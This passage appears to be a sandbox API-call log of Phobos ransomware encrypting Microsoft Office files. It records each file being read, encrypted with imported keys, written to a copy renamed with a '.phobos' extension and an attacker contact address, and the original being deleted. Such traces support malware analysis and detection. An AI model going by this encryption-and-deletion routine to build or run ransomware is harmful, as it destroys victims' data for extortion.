phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1810) returned 1 [0167.969] CryptSetKeyParam (hKey=0x1d1810, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0167.969] CryptEncrypt (in: hKey=0x1d1810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40, dwBufLen=0x40 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40) returned 1 [0167.970] CryptDestroyKey (hKey=0x1d1810) returned 1 [0167.970] WriteFile (in: hFile=0x2cc, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xf2, lpOverlapped=0x0) returned 1 [0167.970] CryptDestroyKey (hKey=0x1d14d0) returned 1 [0167.970] CloseHandle (hObject=0x2c8) returned 1 [0167.970] CloseHandle (hObject=0x2cc) returned 1 [0167.970] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe")) returned 1 [0167.975] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0167.975] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0167.975] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=3144288) returned 1 [0167.975] CloseHandle (hObject=0x2cc) returned 1 [0167.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 0x20 [0167.976] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 1 [0167.977] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.977] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 1 [0167.978] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0167.978] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0167.979] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=4677216) returned 1 [0167.979] CloseHandle (hObject=0x2cc) returned 1 [0167.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 0x20 [0167.979] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 1 [0167.982] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.982] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 1 [0167.983] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0167.983] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0168.088] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=3177152) returned 1 [0168.088] CloseHandle (hObject=0x2cc) returned 1 [0168.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 0x20 [0168.088] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 1 [0168.260] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.260] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 1 [0168.263] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0168.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0168.264] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=996568) returned 1 [0168.264] CloseHandle (hObject=0x2cc) returned 1 [0168.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll")) returned 0x20 [0168.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0168.264] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0168.264] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0168.264] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0168.264] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0168.265] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1610) returned 1 [0168.266] CryptSetKeyParam (hKey=0x1d1610, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0168.266] ReadFile (in: hFile=0x2cc, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0xf34d8, lpOverlapped=0x0) returned 1 [0168.795] CryptEncrypt (in: hKey=0x1d1610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0xf34e0, dwBufLen=0xf34e0 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0xf34e0) returned 1 [0168.796] WriteFile (in: hFile=0x2ec, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xf34e0, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xf34e0, lpOverlapped=0x0) returned 1 [0168.814] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1a90) returned 1 [0168.814] CryptSetKeyParam (hKey=0x1d1a90, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0168.814] CryptEncrypt (in: hKey=0x1d1a90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x50, dwBufLen=0x50 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x50) returned 1 [0168.814] CryptDestroyKey (hKey=0x1d1a90) returned 1 [0168.814] WriteFile (in: hFile=0x2ec, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x102, lpOverlapped=0x0) returned 1 [0168.814] CryptDestroyKey (hKey=0x1d1610) returned 1 [0168.814] CloseHandle (hObject=0x2cc) returned 1 [0168.814] CloseHandle (hObject=0x2ec) returned 1 [0168.814] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll")) returned 1 [0168.824] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0168.824] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0168.825] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=390320) returned 1 [0168.825] CloseHandle (hObject=0x2ec) returned 1 [0168.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll")) returned 0x20 [0168.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0168.825] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0168.826] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0168.826] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0168.826] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0168.827] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1610) returned 1 [0168.827] CryptSetKeyParam (hKey=0x1d1610, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0168.827] ReadFile (in: hFile=0x2ec, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x5f4b0, lpOverlapped=0x0) returned 1 [0169.404] CryptEncrypt (in: hKey=0x1d1610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x5f4c0, dwBufLen=0x5f4c0 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x5f4c0) returned 1 [0169.405] WriteFile (in: hFile=0x2cc, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x5f4c0, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x5f4c0, lpOverlapped=0x0) returned 1 [0169.411] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1810) returned 1 [0169.411] CryptSetKeyParam (hKey=0x1d1810, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0169.411] CryptEncrypt (in: hKey=0x1d1810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40, dwBufLen=0x40 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40) returned 1 [0169.411] CryptDestroyKey (hKey=0x1d1810) returned 1 [0169.411] WriteFile (in: hFile=0x2cc, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xf2, lpOverlapped=0x0) returned 1 [0169.411] CryptDestroyKey (hKey=0x1d1610) returned 1 [0169.411] CloseHandle (hObject=0x2ec) returned 1 [0169.411] CloseHandle (hObject=0x2cc) returned 1 [0169.411] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll")) returned 1 [0169.415] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0169.416] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0169.417] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=1475160) returned 1 [0169.417] CloseHandle (hObject=0x2cc) returned 1 [0169.417] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll")) returned 0x20 [0169.417] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.417] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0169.417] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0169.417] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0169.417] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0169.418] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1610) returned 1 [0169.418] CryptSetKeyParam (hKey=0x1d1610, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0169.418] ReadFile (in: hFile=0x2cc, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x110100, lpOverlapped=0x0) returned 1 [0170.090] CryptEncrypt (in: hKey=0x1d1610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x110100, dwBufLen=0x110100 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x110100) returned 1 [0170.091] WriteFile (in: hFile=0x2ec, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x110100, lpOverlapped=0x0) returned 1 [0170.300] ReadFile (in: hFile=0x2cc, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x58158, lpOverlapped=0x0) returned 1 [0170.301] CryptEncrypt (in: hKey=0x1d1610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x58160, dwBufLen=0x58160 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x58160) returned 1 [0170.301] WriteFile (in: hFile=0x2ec, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x58160, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x58160, lpOverlapped=0x0) returned 1 [0170.307] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d14d0) returned 1 [0170.307] CryptSetKeyParam (hKey=0x1d14d0, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0170.307] CryptEncrypt (in: hKey=0x1d14d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40, dwBufLen=0x40 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40) returned 1 [0170.307] CryptDestroyKey (hKey=0x1d14d0) returned 1 [0170.307] WriteFile (in: hFile=0x2ec, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xf2, lpOverlapped=0x0) returned 1 [0170.308] CryptDestroyKey (hKey=0x1d1610) returned 1 [0170.308] CloseHandle (hObject=0x2cc) returned 1 [0170.308] CloseHandle (hObject=0x2ec) returned 1 [0170.308] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll")) returned 1 [0170.314] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0170.314] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0170.315] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=244296) returned 1 [0170.315] CloseHandle (hObject=0x2ec) returned 1 [0170.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 0x20 [0170.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0170.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0170.316] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0170.316] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0170.316] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0170.316] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1510) returned 1 [0170.316] CryptSetKeyParam (hKey=0x1d1510, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0170.317] ReadFile (in: hFile=0x2ec, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x3ba48, lpOverlapped=0x0) returned 1 [0170.382] CryptEncrypt (in: hKey=0x1d1510, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x3ba50, dwBufLen=0x3ba50 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x3ba50) returned 1 [0170.383] WriteFile (in: hFile=0x2cc, 